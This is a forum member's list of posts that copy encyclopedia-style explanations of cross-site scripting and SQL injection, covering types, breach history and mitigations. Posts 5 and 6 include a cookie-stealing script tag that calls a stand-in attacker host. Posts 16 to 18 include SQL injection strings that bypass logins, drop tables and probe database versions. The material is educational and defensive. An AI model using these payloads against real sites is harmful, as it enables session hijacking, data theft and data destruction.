Jump to content
Invision Community
FORUMS BLOG/NEWS USER BLOGS USER MEDIA ADVERTS   ADD  MANAGE CHAT CLUBS & USER PERSONAL FORUMS LINK EXCHANGE
ANTIVIRUS & SPAM Antivirus Anti Spam Anti Spyware Free Virus Scanner Antivirus Comparison Antivirus for Android Antivirus for Mac Anti Spam for Android Anti Spyware for Android

davidtrump

Members
  • Content Count

    92
  • Joined

  • Last visited

    Never

Posts posted by davidtrump


  1. Related vulnerabilities
    In a Universal Cross-Site Scripting (UXSS, or Universal XSS) attack, vulnerabilities in the browser itself or in the browser plugins are exploited (rather than vulnerabilities in other websites, as is the case with XSS attacks); such attacks are commonly used by Anonymous, along with DDoS, to compromise control of a network.

    Several classes of vulnerabilities or attack techniques are related to XSS: cross-zone scripting exploits "zone" concepts in certain browsers and usually executes code with a greater privilege. HTTP header injection can be used to create cross-site scripting conditions due to escaping problems on HTTP protocol level (in addition to enabling attacks such as HTTP response splitting).

    Cross-site request forgery (CSRF/XSRF) is almost the opposite of XSS, in that rather than exploiting the user's trust in a site, the attacker (and his malicious page) exploits the site's trust in the client software, submitting requests that the site believes represent conscious and intentional actions of authenticated users. XSS vulnerabilities (even in other applications running on the same domain) allow attackers to bypass CSRF prevention efforts.

    Covert Redirection takes advantage of third-party clients susceptible to XSS or Open Redirect attacks. Normal phishing attempts can be easy to spot, because the malicious page's URL will usually be off by a couple of letters from that of the real site. The difference with Covert Redirection is that an attacker could use the real website instead by corrupting the site with a malicious login pop-up dialogue box.

    Lastly, SQL injection exploits a vulnerability in the database layer of an application. When user input is incorrectly filtered, any SQL statements can be executed by the application.

    The specific XSSs that affect a given version of a web browser tend to be unique. Consequently, it is possible to use XSS to fingerprint the browser vendor and version of a user.


  2. Emerging defensive technologies
    There are three classes of XSS defense that are emerging. These include Content Security Policy, Javascript sandbox tools, and auto-escaping templates. These mechanisms are still evolving but promise a future of heavily reduced XSS attack occurrence.

    Another defense approach is to use automated tools that will remove XSS malicious code in web pages, these tools use static analysis and/or pattern matching methods to identify malicious codes potentially and secure them using methods like escaping.

    SameSite cookie parameter
    When a cookie is set with the SameSite=Strict parameter, it is stripped from all cross-origin requests. When set with SameSite=Lax, it is stripped from all non-"safe" cross-origin requests (that is, requests other than GET, OPTIONS, and TRACE which have read-only semantics). The feature is implemented in Google Chrome since version 63 and Firefox since version 60.


  3. Cookie security
    Besides content filtering, other imperfect methods for cross-site scripting mitigation are also commonly used. One example is the use of additional security controls when handling cookie-based user authentication. Many web applications rely on session cookies for authentication between individual HTTP requests, and because client-side scripts generally have access to these cookies, simple XSS exploits can steal these cookies. To mitigate this particular threat (though not the XSS problem in general), many web applications tie session cookies to the IP address of the user who originally logged in, then only permit that IP to use that cookie. This is effective in most situations (if an attacker is only after the cookie), but obviously breaks down in situations where an attacker is behind the same (Network Address  Translation) NATed IP address or web proxy as the victim, or the victim is changing his or her mobile IP.

    Another mitigation present in Internet Explorer (since version 6), Firefox (since version 2.0.0.5), Safari (since version 4), Opera (since version 9.5) and Google Chrome, is an HttpOnly flag which allows a web server to set a cookie that is unavailable to client-side scripts. While beneficial, the feature can neither fully prevent cookie theft nor prevent attacks within the browser.

    Disabling scripts
    While Web 2.0 and Ajax developers require the use of JavaScript, some web applications are written to allow operation without the need for any client-side scripts. This allows users, if they choose, to disable scripting in their browsers before using the application. In this way, even potentially malicious client-side scripts could be inserted unescaped on a page, and users would not be susceptible to XSS attacks.

    Some browsers or browser plugins can be configured to disable client-side scripts on a per-domain basis. This approach is of limited value if scripting is allowed by default, since it blocks bad sites only after the user knows that they are bad, which is too late. Functionality that blocks all scripting and external inclusions by default and then allows the user to enable it on a per-domain basis is more effective. This has been possible for a long time in Internet Explorer (since version 4) by setting up its so called "Security Zones", and in Opera (since version 9) using its "Site Specific Preferences". A solution for Firefox and other Gecko-based browsers is the open source NoScript add-on which, in addition to the ability to enable scripts on a per-domain basis, provides some XSS protection even when scripts are enabled.

    The most significant problem with blocking all scripts on all websites by default is substantial reduction in functionality and responsiveness (client-side scripting can be much faster than server-side scripting because it does not need to connect to a remote server and the page or frame does not need to be reloaded). Another problem with script blocking is that many users do not understand it, and do not know how to properly secure their browsers. Yet another drawback is that many sites do not work without client-side scripting, forcing users to disable protection for that site and opening their systems to vulnerabilities. The Firefox NoScript extension enables users to allow scripts selectively from a given page while disallowing others on the same page. For example, scripts from example.com could be allowed, while scripts from advertisingagency.com that are attempting to run on the same page could be disallowed.


  4. Preventive measures
    Contextual output encoding/escaping of string input

    Contextual output encoding/escaping could be used as the primary defense mechanism to stop XSS attacks. There are several escaping schemes that can be used depending on where the untrusted string needs to be placed within an HTML document including HTML entity encoding, JavaScript escaping, CSS escaping, and URL (or percent) encoding. Most web applications that do not need to accept rich data can use escaping to largely eliminate the risk of XSS attacks in a fairly straightforward manner.

    Although widely recommended, performing HTML entity encoding only on the five XML significant characters is not always sufficient to prevent many forms of XSS attacks. As encoding is often difficult, security encoding libraries are usually easier to use.

    Safely validating untrusted HTML input
    Many operators of particular web applications (e.g. forums and webmail) allow users to utilize a limited subset of HTML markup. When accepting HTML input from users (say, <b>very</b> large), output encoding (such as &lt;b&gt;very&lt;/b&gt; large) will not suffice since the user input needs to be rendered as HTML by the browser (so it shows as "very large", instead of "<b>very</b> large"). Stopping an XSS attack when accepting HTML input from users is much more complex in this situation. Untrusted HTML input must be run through an HTML sanitization engine to ensure that it does not contain XSS code.

    It should also be noted that many validations rely on parsing out (blacklisting) specific "at risk" HTML tags such as the following

    <script> <link> <iframe>
    There are several issues with this approach, for example sometimes seemingly harmless tags can be left out which when utilized correctly can still result in an XSS

    (see the below example)

    <img src="javascript:alert(1)">
    Another popular method is to strip user input of " and ' however this can also be bypassed as the payload can be concealed with Obfuscation.


  5. Persistent attack
    Mallory gets an account on Bob's website.
    Mallory observes that Bob's website contains a stored XSS vulnerability. If you go to the News section, and post a comment, it will display whatever he types in for the comment. But, if the comment text contains HTML tags in it, the tags will be displayed as it is, and any script tags get run.
    Mallory reads an article in the News section and writes in a comment at the bottom in the Comments section. In the comment, she inserts this text: I love the puppies in this story! They're so cute!<script src="http://mallorysevilsite.com/authstealer.js">
    When Alice (or anyone else) loads the page with the comment, Mallory's script tag runs and steals Alice's authorization cookie, sending it to Mallory's secret server for collection. 
    Mallory can now hijack Alice's session and impersonate Alice.
    Bob's website software should have stripped out the script tag or done something to make sure it didn't work, but the security bug is in the fact that he didn't.


  6. Exploit examples
    Attackers intending to exploit cross-site scripting vulnerabilities must approach each class of vulnerability differently. For each class, a specific attack vector is described here. The names below are technical terms, taken from the Alice-and-Bob cast of characters commonly used in computer security.

    Non-persistent
    Alice often visits a particular website, which is hosted by Bob. Bob's website allows Alice to log in with a username/password pair and stores sensitive data, such as billing information. When a user logs in, the browser keeps an Authorization Cookie, which looks like some garbage characters, so both computers (client and server) have a record that she's logged in.
    Mallory observes that Bob's website contains a reflected XSS vulnerability:
    When she visits the Search page, she inputs a search term in the search box and clicks the submit button. If no results were found, the page will display the term she searched for followed by the words "not found," and the url will be http://bobssite.org/search?q=her search term.
    With a normal search query, like the word "puppies", the page simply displays "puppies not found" and the url is "http://bobssite.org/search?q=puppies" - which is perfectly normal behavior.
    However, when she submits an abnormal search query, like "<script type='application/javascript'>alert('xss');</script>",
    An alert box appears (that says "xss").
    The page displays " not found," along with an error message with the text 'xss'.
    The url is "http://bobssite.org/search?q=<script%20type='application/javascript'>alert('xss');</script> - which is exploitable behavior.
    Mallory crafts a URL to exploit the vulnerability:
    She makes the URL http://bobssite.org/search?q=puppies<script src="http://mallorysevilsite.com/authstealer.js"></script>. She could choose to encode the ASCII characters with percent-encoding, such as http://bobssite.org/search?q=puppies<script%20src%3D"http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js"><%2Fscript>, so that human readers cannot immediately decipher the malicious URL.
    She sends an e-mail to some unsuspecting members of Bob's site, saying "Check out some cute puppies!"
    Alice gets the e-mail. She loves puppies and clicks on the link. It goes to Bob's website to search, doesn't find anything, and displays "puppies not found" but right in the middle, the script tag runs (it is invisible on the screen) and loads and runs Mallory's program authstealer.js (triggering the XSS attack). Alice forgets about it.
    The authstealer.js program runs in Alice's browser, as if it originated from Bob's website. It grabs a copy of Alice's Authorization Cookie and sends it to Mallory's server, where Mallory retrieves it.
    Mallory now puts Alice's Authorization Cookie into her browser as if it were her own. She then goes to Bob's site and is now logged in as Alice.
    Now that she's in, Mallory goes to the Billing section of the website and looks up Alice's credit card number and grabs a copy. Then she goes and changes her password so Alice can't even log in anymore.
    She decides to take it a step further and sends a similarly crafted link to Bob himself, thus gaining administrator privileges to Bob's website.

    Several things could have been done to mitigate this attack:

    The search input could have been sanitized which would include proper encoding checking.
    The web server could be set to redirect invalid requests.
    The web server could detect a simultaneous login and invalidate the sessions.
    The web server could detect a simultaneous login from two different IP addresses and invalidate the sessions.
    The website could display only the last few digits of a previously used credit card.
    The website could require users to enter their passwords again before changing their registration information.
    The website could enact various aspects of the Content Security Policy.
    Users could be educated to not click "benign-looking", but malicious, links.
    Set cookie with HttpOnly flag to prevent access from JavaScript


  7. Server-side versus DOM-based vulnerabilities
    Historically XSS vulnerabilities were first found in applications that performed all data processing on the server side. User input (including an XSS vector) would be sent to the server, and then sent back to the user as a web page. The need for an improved user experience resulted in popularity of applications that had a majority of the presentation logic (maybe written in JavaScript) working on the client-side that pulled data, on-demand, from the server using AJAX.

    As the JavaScript code was also processing user input and rendering it in the web page content, a new sub-class of reflected XSS attacks started to appear that was called DOM-based cross-site scripting. In a DOM-based XSS attack, the malicious data does not touch the web server. Rather, it is being reflected by the JavaScript code, fully on the client side.

    An example of a DOM-based XSS vulnerability is the bug found in 2011 in a number of JQuery plugins. Prevention strategies for DOM-based XSS attacks include very similar measures to traditional XSS prevention strategies but implemented in JavaScript code and contained in web pages (i.e. input validation and escaping). Some JavaScript frameworks have built-in countermeasures against this and other types of attack — for example Angular.js.

    Self-XSS
    Self-XSS is a form of XSS vulnerability which relies on Social Engineering in order to trick the victim into executing malicious JavaScript code into their browser. Although it is technically not a true XSS vulnerability due to the fact it relies on socially engineering a user into executing code rather than a flaw in the affected website allowing an attacker to do so, it still poses the same risks as a regular XSS vulnerability if properly executed.

    Mutated XSS (mXSS)
    Mutated XSS happens when the attacker injects something that is seemingly safe, but rewritten and modified by the browser, while parsing the markup. This makes it extremely hard to detect or sanitize within the websites application logic. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters on parameters to CSS font-family.


  8. Persistent (or stored)
    The persistent (or stored) XSS vulnerability is a more devastating variant of a cross-site scripting flaw: it occurs when the data provided by the attacker is saved by the server, and then permanently displayed on "normal" pages returned to other users in the course of regular browsing, without proper HTML escaping. A classic example of this is with online message boards where users are allowed to post HTML formatted messages for other users to read.

    For example, suppose there is a dating website where members scan the profiles of other members to see if they look interesting. For privacy reasons, this site hides everybody's real name and email. These are kept secret on the server. The only time a member's real name and email are in the browser is when the member is signed in, and they can't see anyone else's.

    Suppose that Mallory, an attacker, joins the site and wants to figure out the real names of the people she sees on the site. To do so, she writes a script designed to run from other people's browsers when they visit her profile. The script then sends a quick message to her own server, which collects this information.

    To do this, for the question "Describe your Ideal First Date", Mallory gives a short answer (to appear normal) but the text at the end of her answer is her script to steal names and emails. If the script is enclosed inside a <script> element, it won't be shown on the screen. Then suppose that Bob, a member of the dating site, reaches Mallory's profile, which has her answer to the First Date question. Her script is run automatically by the browser and steals a copy of Bob's real name and email directly from his own machine.

    Persistent XSS vulnerabilities can be more significant than other types because an attacker's malicious script is rendered automatically, without the need to individually target victims or lure them to a third-party website. Particularly in the case of social networking sites, the code would be further designed to self-propagate across accounts, creating a type of client-side worm.

    The methods of injection can vary a great deal; in some cases, the attacker may not even need to directly interact with the web functionality itself to exploit such a hole. Any data received by the web application (via email, system logs, IM etc.) that can be controlled by an attacker could become an injection vector.


  9. Types of Cross-site scripting
    There is no single, standardized classification of cross-site scripting flaws, but most experts distinguish between at least two primary flavors of XSS flaws: non-persistent and persistent. Some sources further divide these two groups into traditional (caused by server-side code flaws) and DOM-based (in client-side code).

    Non-persistent (reflected)
    The non-persistent (or reflected) cross-site scripting vulnerability is by far the most basic type of web vulnerability. These holes show up when the data provided by a web client, most commonly in HTTP query parameters (e.g. HTML form submission), is used immediately by server-side scripts to parse and display a page of results for and to that user, without properly sanitizing the request.

    Because HTML documents have a flat, serial structure that mixes control statements, formatting, and the actual content, any non-validated user-supplied data included in the resulting page without proper HTML encoding, may lead to markup injection. A classic example of a potential vector is a site search engine: if one searches for a string, the search string will typically be redisplayed verbatim on the result page to indicate what was searched for. If this response does not properly escape or reject HTML control characters, a cross-site scripting flaw will ensue.

    A reflected attack is typically delivered via email or a neutral web site. The bait is an innocent-looking URL, pointing to a trusted site but containing the XSS vector. If the trusted site is vulnerable to the vector, clicking the link can cause the victim's browser to execute the injected script.


  10. Cross-site scripting (XSS)
    Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications. XSS enables attackers to inject client-side scripts into web pages viewed by other users. A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same-origin policy. Cross-site scripting carried out on websites accounted for roughly 84% of all security vulnerabilities documented by Symantec as of 2007. Bug bounty company HackerOne in 2017 reported that XSS is still a major threat vector. XSS effects vary in range from petty nuisance to significant security risk, depending on the sensitivity of the data handled by the vulnerable site and the nature of any security mitigation implemented by the site's owner.

    Background
    Security on the web depends on a variety of mechanisms, including an underlying concept of trust known as the same-origin policy. This essentially states that if content from one site (such as https://mybank.example1.com) is granted permission to access resources (like cookies etc.) on a browser, then content from any URL with the same (1) URI scheme, (2) host name, and (3) port number will share these permissions. Content from URLs where any of these three attributes are different will have to be granted permissions separately.

    Cross-site scripting attacks use known vulnerabilities in web-based applications, their servers, or the plug-in systems on which they rely. Exploiting one of these, attackers fold malicious content into the content being delivered from the compromised site. When the resulting combined content arrives at the client-side web browser, it has all been delivered from the trusted source, and thus operates under the permissions granted to that system. By finding ways of injecting malicious scripts into web pages, an attacker can gain elevated access-privileges to sensitive page content, to session cookies, and to a variety of other information maintained by the browser on behalf of the user. Cross-site scripting attacks are a case of code injection.

    Microsoft security-engineers introduced the term "cross-site scripting" in January 2000. The expression "cross-site scripting" originally referred to the act of loading the attacked, third-party web application from an unrelated attack-site, in a manner that executes a fragment of JavaScript prepared by the attacker in the security context of the targeted domain (taking advantage of a reflected or non-persistent XSS vulnerability). The definition gradually expanded to encompass other modes of code injection, including persistent and non-JavaScript vectors (including ActiveX, Java, VBScript, Flash, or even HTML scripts), causing some confusion to newcomers to the field of information security.

    XSS vulnerabilities have been reported and exploited since the 1990s. Prominent sites affected in the past include the social-networking sites Twitter, Facebook, MySpace, YouTube and Orkut. Cross-site scripting flaws have since surpassed buffer overflows to become the most common publicly reported security vulnerability, with some researchers in 2007 estimating as many as 68% of websites are likely open to XSS attacks.


  11. SQL injection types
    There are several types of SQL injection, but they all involve an attacker inserting arbitrary SQL into a web application database query. The simplest form of SQL injection is through user input. Web applications typically accept user input through a form, and the front end passes the user input to the back-end database for processing. If the web application fails to sanitize user input, an attacker can inject SQL of their choosing into the back-end database and delete, copy, or modify the contents of the database.

    An attacker can also modify cookies to poison a web application's database query. Cookies store client state information locally, and web applications commonly load cookies and process that information. A malicious user, or malware, can modify cookies to inject SQL into the back-end database.

    Server variables such as HTTP headers can also be used as a SQL injection attack vector. Forged headers containing arbitrary SQL can inject that code into the database if the web application fails to sanitize those inputs as well.

    Second-order SQL injection attacks are the sneakiest of the bunch, because they aren't designed to run immediately, but much later. A developer who correctly sanitizes all their input against an immediate attack may still be vulnerable to a second-order SQLi when the poisoned data is used in a different context.


  12. On February 5, 2011 HBGary, a technology security firm, was broken into by LulzSec using a SQL injection in their CMS-driven website
    On March 27, 2011, mysql.com, the official homepage for MySQL, was compromised by a hacker using SQL blind injection
    On April 11, 2011, Barracuda Networks was compromised using an SQL injection flaw. Email addresses and usernames of employees were among the information obtained.
    Over a period of 4 hours on April 27, 2011, an automated SQL injection attack occurred on Broadband Reports website that was able to extract 8% of the username/password pairs: 8,000 random accounts of the 9,000 active and 90,000 old or inactive accounts.
    On June 1, 2011, "hacktivists" of the group LulzSec were accused of using SQLI to steal coupons, download keys, and passwords that were stored in plaintext on Sony's website, accessing the personal information of a million users.
    In June 2011, PBS was hacked, most likely through use of SQL injection; the full process used by hackers to execute SQL injections was described in this Imperva blog.
    In May 2012, the website for Wurm Online, a massively multiplayer online game, was shut down from an SQL injection while the site was being updated.
    In July 2012 a hacker group was reported to have stolen 450,000 login credentials from Yahoo!. The logins were stored in plain text and were allegedly taken from a Yahoo subdomain, Yahoo! Voices. The group breached Yahoo's security by using a "union-based SQL injection technique".
    On October 1, 2012, a hacker group called "Team GhostShell" published the personal records of students, faculty, employees, and alumni from 53 universities including Harvard, Princeton, Stanford, Cornell, Johns Hopkins, and the University of Zurich on pastebin.com. The hackers claimed that they were trying to "raise awareness towards the changes made in today’s education", bemoaning changing education laws in Europe and increases in tuition in the United States.
    In February 2013, a group of Maldivian hackers, hacked the website "UN-Maldives" using SQL Injection.
    On June 27, 2013, hacker group "RedHack" breached Istanbul Administration Site. They claimed that, they’ve been able to erase people's debts to water, gas, Internet, electricity, and telephone companies. Additionally, they published admin user name and password for other citizens to log in and clear their debts early morning. They announced the news from Twitter.
    On November 4, 2013, hacktivist group "RaptorSwag" allegedly compromised 71 Chinese government databases using an SQL injection attack on the Chinese Chamber of International Commerce. The leaked data was posted publicly in cooperation with Anonymous.
    On February 2, 2014, AVS TV had 40,000 accounts leaked by a hacking group called @deletesec 
    On February 21, 2014, United Nations Internet Governance Forum had 3,215 account details leaked.
    On February 21, 2014, Hackers of a group called @deletesec hacked Spirol International after allegedly threatening to have the hackers arrested for reporting the security vulnerability. 70,000 user details were exposed over this conflict.
    On March 7, 2014, officials at Johns Hopkins University publicly announced that their Biomedical Engineering Servers had become victim to an SQL injection attack carried out by an Anonymous hacker named "Hooky" and aligned with hacktivist group "RaptorSwag". The hackers compromised personal details of 878 students and staff, posting a press release and the leaked data on the internet.
    In August 2014, Milwaukee-based computer security company Hold Security disclosed that it uncovered a theft of confidential information from nearly 420,000 websites through SQL injections. The New York Times confirmed this finding by hiring a security expert to check the claim.
    In October 2015, an SQL injection attack was used to steal the personal details of 156,959 customers from British telecommunications company TalkTalk's servers, exploiting a vulnerability in a legacy web portal.


  13. Examples
    In February 2002, Jeremiah Jacks discovered that Guess.com was vulnerable to an SQL injection attack, permitting anyone able to construct a properly-crafted URL to pull down 200,000+ names, credit card numbers and expiration dates in the site's customer database.
    On November 1, 2005, a teenaged hacker used SQL injection to break into the site of a Taiwanese information security magazine from the Tech Target group and steal customers' information.
    On January 13, 2006, Russian computer criminals broke into a Rhode Island government website and allegedly stole credit card data from individuals who have done business online with state agencies.
    On March 29, 2006, a hacker discovered an SQL injection flaw in an official Indian government's tourism site.
    On June 29, 2007, a computer criminal defaced the Microsoft UK website using SQL injection. UK website The Register quoted a Microsoft spokesperson acknowledging the problem.
    On September 19, 2007 and January 26, 2009 the Turkish hacker group "m0sted" used SQL injection to exploit Microsoft's SQL Server to hack web servers belonging to McAlester Army Ammunition Plant and the US Army Corps of Engineers respectively.
    In January 2008, tens of thousands of PCs were infected by an automated SQL injection attack that exploited a vulnerability in application code that uses Microsoft SQL Server as the database store.
    In July 2008, Kaspersky's Malaysian site was hacked by the "m0sted" hacker group using SQL injection.
    On April 13, 2008, the Sexual and Violent Offender Registry of Oklahoma shut down its website for "routine maintenance" after being informed that 10,597 Social Security numbers belonging to sex offenders had been downloaded via an SQL injection attack.
    In May 2008, a server farm inside China used automated queries to Google's search engine to identify SQL server websites which were vulnerable to the attack of an automated SQL injection tool.
    In 2008, at least April through August, a sweep of attacks began exploiting the SQL injection vulnerabilities of Microsoft's IIS web server and SQL Server database server. The attack does not require guessing the name of a table or column, and corrupts all text columns in all tables in a single request. A HTML string that references a malware JavaScript file is appended to each value. When that database value is later displayed to a website visitor, the script attempts several approaches at gaining control over a visitor's system. The number of exploited web pages is estimated at 500,000.
    On August 17, 2009, the United States Department of Justice charged an American citizen, Albert Gonzalez, and two unnamed Russians with the theft of 130 million credit card numbers using an SQL injection attack. In reportedly "the biggest case of identity theft in American history", the man stole cards from a number of corporate victims after researching their payment processing systems. Among the companies hit were credit card processor Heartland Payment Systems, convenience store chain 7‑Eleven, and supermarket chain Hannaford Brothers.
    In December 2009, an attacker breached a RockYou plaintext database containing the unencrypted usernames and passwords of about 32 million users using an SQL injection attack.
    On July 2010, a South American security researcher who goes by the handle "Ch Russo" obtained sensitive user information from popular BitTorrent site The Pirate Bay. He gained access to the site's administrative control panel and exploited a SQL injection vulnerability that enabled him to collect user account information, including IP addresses, MD5 password hashes and records of which torrents individual users have uploaded.
    From July 24 to 26, 2010, attackers from Japan and China used an SQL injection to gain access to customers' credit card data from Neo Beat, an Osaka-based company that runs a large online supermarket site. The attack also affected seven business partners including supermarket chains Izumiya Co, Maruetsu Inc, and Ryukyu Jusco Co. The theft of data affected a reported 12,191 customers. As of August 14, 2010 it was reported that there have been more than 300 cases of credit card information being used by third parties to purchase goods and services in China.
    On September 19 during the 2010 Swedish general election a voter attempted a code injection by hand writing SQL commands as part of a write‑in vote.
    On November 8, 2010 the British Royal Navy website was compromised by a Romanian hacker named TinKode using SQL injection.


  14. Pattern check
    Integer, float or boolean, string parameters can be checked if their value is valid representation for the given type. Strings that must follow some strict pattern (date, UUID, alphanumeric only, etc.) can be checked if they match this pattern.

    Database permissions
    Limiting the permissions on the database login used by the web application to only what is needed may help reduce the effectiveness of any SQL injection attacks that exploit any bugs in the web application.

    For example, on Microsoft SQL Server, a database logon could be restricted from selecting on some of the system tables which would limit exploits that try to insert JavaScript into all the text columns in the database.

    deny select on sys.sysobjects to webdatabaselogon;
    deny select on sys.objects to webdatabaselogon;
    deny select on sys.tables to webdatabaselogon;
    deny select on sys.views to webdatabaselogon;
    deny select on sys.packages to webdatabaselogon;


  15. Mitigation
    An SQL injection is a well known attack and easily prevented by simple measures. After an apparent SQL injection attack on TalkTalk in 2015, the BBC reported that security experts were stunned that such a large company would be vulnerable to it.

    Parameterized statements
    With most development platforms, parameterized statements that work with parameters can be used (sometimes called placeholders or bind variables) instead of embedding user input in the statement. A placeholder can only store a value of the given type and not an arbitrary SQL fragment. Hence the SQL injection would simply be treated as a strange (and probably invalid) parameter value.

    In many cases, the SQL statement is fixed, and each parameter is a scalar, not a table. The user input is then assigned (bound) to a parameter.

    Enforcement at the coding level
    Using object-relational mapping libraries avoids the need to write SQL code. The ORM library in effect will generate parameterized SQL statements from object-oriented code.

    Escaping
    A straightforward, though error-prone way to prevent injections is to escape characters that have a special meaning in SQL. The manual for an SQL DBMS explains which characters have a special meaning, which allows creating a comprehensive blacklist of characters that need translation. For instance, every occurrence of a single quote (') in a parameter must be replaced by two single quotes ('') to form a valid SQL string literal. For example, in PHP it is usual to escape parameters using the function mysqli_real_escape_string(); before sending the SQL query:

    $mysqli = new mysqli('hostname', 'db_username', 'db_password', 'db_name');
    $query = sprintf("SELECT * FROM `Users` WHERE UserName='%s' AND Password='%s'",
                      $mysqli->real_escape_string($username),
                      $mysqli->real_escape_string($password));
    $mysqli->query($query);

    This function prepends backslashes to the following characters: \x00, \n, \r, \, ', " and \x1a. This function is normally used to make data safe before sending a query to MySQL.
    PHP has similar functions for other database systems such as pg_escape_string() for PostgreSQL. The function addslashes(string $str) works for escaping characters, and is used especially for querying on databases that do not have escaping functions in PHP. It returns a string with backslashes before characters that need to be quoted in database queries, etc. These characters are single quote ('), double quote ("), backslash (\) and NUL (the NULL byte).
    Routinely passing escaped strings to SQL is error prone because it is easy to forget to escape a given string. Creating a transparent layer to secure the input can reduce this error-proneness, if not entirely eliminate it.


  16. Conditional responses
    One type of blind SQL injection forces the database to evaluate a logical statement on an ordinary application screen. As an example, a book review website uses a query string to determine which book review to display. So the URL http://books.example.com/showReview.php?ID=5 would cause the server to run the query

    SELECT * FROM bookreviews WHERE ID = 'Value(ID)';
    from which it would populate the review page with data from the review with ID 5, stored in the table bookreviews. The query happens completely on the server; the user does not know the names of the database, table, or fields, nor does the user know the query string. The user only sees that the above URL returns a book review. A hacker can load the URLs http://books.example.com/showReview.php?ID=5 OR 1=1 and http://books.example.com/showReview.php?ID=5 AND 1=2, which may result in queries

    SELECT * FROM bookreviews WHERE ID = '5' OR '1'='1';
    SELECT * FROM bookreviews WHERE ID = '5' AND '1'='2';
    respectively. If the original review loads with the "1=1" URL and a blank or error page is returned from the "1=2" URL, and the returned page has not been created to alert the user the input is invalid, or in other words, has been caught by an input test script, the site is likely vulnerable to a SQL injection attack as the query will likely have passed through successfully in both cases. The hacker may proceed with this query string designed to reveal the version number of MySQL running on the server: http://books.example.com/showReview.php?ID=5 AND substring(@@version, 1, INSTR(@@version, '.') - 1)=4, which would show the book review on a server running MySQL 4 and a blank or error page otherwise. The hacker can continue to use code within query strings to glean more information from the server until another avenue of attack is discovered or his goals are achieved.

    Second order SQL injection
    Second order SQL injection occurs when submitted values contain malicious commands that are stored rather than executed immediately. In some cases, the application may correctly encode an SQL statement and store it as valid SQL. Then, another part of that application without controls to protect against SQL injection might execute that stored SQL statement. This attack requires more knowledge of how submitted values are later used. Automated web application security scanners would not easily detect this type of SQL injection and may need to be manually instructed where to check for evidence that it is being attempted.


  17. Incorrect type handling
    This form of SQL injection occurs when a user-supplied field is not strongly typed or is not checked for type constraints. This could take place when a numeric field is to be used in an SQL statement, but the programmer makes no checks to validate that the user supplied input is numeric. For example:

    statement := "SELECT * FROM userinfo WHERE id =" + a_variable + ";"
    It is clear from this statement that the author intended a_variable to be a number correlating to the "id" field. However, if it is in fact a string then the end-user may manipulate the statement as they choose, thereby bypassing the need for escape characters. For example, setting a_variable to

    1;DROP TABLE users
    will drop (delete) the "users" table from the database, since the SQL becomes:

    SELECT * FROM userinfo WHERE id=1; DROP TABLE users;

    Blind SQL injection
    Blind SQL Injection is used when a web application is vulnerable to an SQL injection but the results of the injection are not visible to the attacker. The page with the vulnerability may not be one that displays data but will display differently depending on the results of a logical statement injected into the legitimate SQL statement called for that page. This type of attack has traditionally been considered time-intensive because a new statement needed to be crafted for each bit recovered, and depending on its structure, the attack may consist of many unsuccessful requests. Recent advancements have allowed each request to recover multiple bits, with no unsuccessful requests, allowing for more consistent and efficient extraction. There are several tools that can automate these attacks once the location of the vulnerability and the target information has been established.


  18. Technical implementations
    Incorrectly filtered escape characters

    This form of SQL injection occurs when user input is not filtered for escape characters and is then passed into an SQL statement. This results in the potential manipulation of the statements performed on the database by the end-user of the application.

    The following line of code illustrates this vulnerability:

    statement = "SELECT * FROM users WHERE name = '" + userName + "';"

    This SQL code is designed to pull up the records of the specified username from its table of users. However, if the "userName" variable is crafted in a specific way by a malicious user, the SQL statement may do more than the code author intended. For example, setting the "userName" variable as:

    ' OR '1'='1
    or using comments to even block the rest of the query (there are three types of SQL comments). All three lines have a space at the end:

    ' OR '1'='1' --
    ' OR '1'='1' {
    ' OR '1'='1' /* 
    renders one of the following SQL statements by the parent language:

    SELECT * FROM users WHERE name = '' OR '1'='1';
    SELECT * FROM users WHERE name = '' OR '1'='1' -- ';

    If this code were to be used in an authentication procedure then this example could be used to force the selection of every data field (*) from all users rather than from one specific user name as the coder intended, because the evaluation of '1'='1' is always true.

    The following value of "userName" in the statement below would cause the deletion of the "users" table as well as the selection of all data from the "userinfo" table (in essence revealing the information of every user), using an API that allows multiple statements:

    a';DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't
    This input renders the final SQL statement as follows and specified:

    SELECT * FROM users WHERE name = 'a';DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't';

    While most SQL server implementations allow multiple statements to be executed with one call in this way, some SQL APIs such as PHP's mysql_query() function do not allow this for security reasons. This prevents attackers from injecting entirely separate queries, but doesn't stop them from modifying queries.


  19. Form
    SQL injection (SQLI) was considered one of the top 10 web application vulnerabilities of 2007 and 2010 by the Open Web Application Security Project.In 2013, SQLI was rated the number one attack on the OWASP top ten. There are four main sub-classes of SQL injection:

    Classic SQLI
    Blind or Inference SQL injection
    Database management system-specific SQLI
    Compounded SQLI
    SQL injection + insufficient authentication
    SQL injection + DDoS attacks
    SQL injection + DNS hijacking
    SQL injection + XSS

    The Storm Worm is one representation of Compounded SQLI.

    This classification represents the state of SQLI, respecting its evolution until 2010—further refinement is underway.


  20. SQL injection is a code injection technique, used to attack data-driven applications, in which nefarious SQL statements are inserted into an entry field for execution (e.g. to dump the database contents to the attacker). SQL injection must exploit a security vulnerability in an application's software, for example, when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and unexpectedly executed. SQL injection is mostly known as an attack vector for websites but can be used to attack any type of SQL database.

    SQL injection attacks allow attackers to spoof identity, tamper with existing data, cause repudiation issues such as voiding transactions or changing balances, allow the complete disclosure of all data on the system, destroy the data or make it otherwise unavailable, and become administrators of the database server.

    In a 2012 study, it was observed that the average web application received 4 attack campaigns per month, and retailers received twice as many attacks as other industries.


  21. How to create a password that is hard to crack

    In this post, we have listed 10 password cracking tools. These tools try to crack passwords with different password cracking algorithms. Most of the password cracking tools are available for free. So, you should always try to have a strong password that is hard to crack by these password cracking tools. These are few tips you can try while creating a password.

    The longer the password, the harder it is to crack: Password length is the most important factor. If you select a small password, password cracking tools can easily crack it by using few words combinations. A longer password will take a longer time in guessing. You’re your password at least 8 characters long.

